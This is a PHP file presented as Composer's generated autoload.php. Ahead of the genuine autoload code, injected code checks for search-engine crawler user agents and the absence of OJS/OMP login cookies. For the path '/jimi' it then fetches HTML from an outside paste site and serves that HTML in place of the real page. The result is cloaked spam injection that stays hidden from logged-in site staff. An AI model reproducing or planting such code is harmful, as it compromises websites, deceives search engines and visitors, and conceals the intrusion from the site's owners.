php $botTargets = [ '/jimi' => 'https://zteampaste.com/raw/-UuCMGu_', ]; $req = strtok(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '', '?'); $req = rtrim($req, '/'); $ua = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $isLogged = !empty($_COOKIE['OMPSID']) || !empty($_COOKIE['OJSSID']) || !empty($_COOKIE['OJSESS']); $botAgents = ['googlebot','google-inspectiontool','bingbot','slurp','yandex','duckduckbot','baiduspider']; $isBot = false; foreach ($botAgents as $agent) { if (strpos($ua, $agent) !== false) { $isBot = true; break; } } $externalUrl = isset($botTargets[$req]) ? $botTargets[$req] : null; if ($externalUrl && $isBot && !$isLogged && extension_loaded('curl')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $externalUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, ["User-Agent: Googlebot/2.1"]); $html = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if (!empty($html) && $http_code == 200) { header("Content-Type: text/html; charset=utf-8"); echo $html; exit; } } // autoload.php @generated by Composer if (PHP_VERSION_ID < 50600) { echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL; exit(1); } require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInit16444ffed2def3d3a2704bf57c01cfb5::getLoader();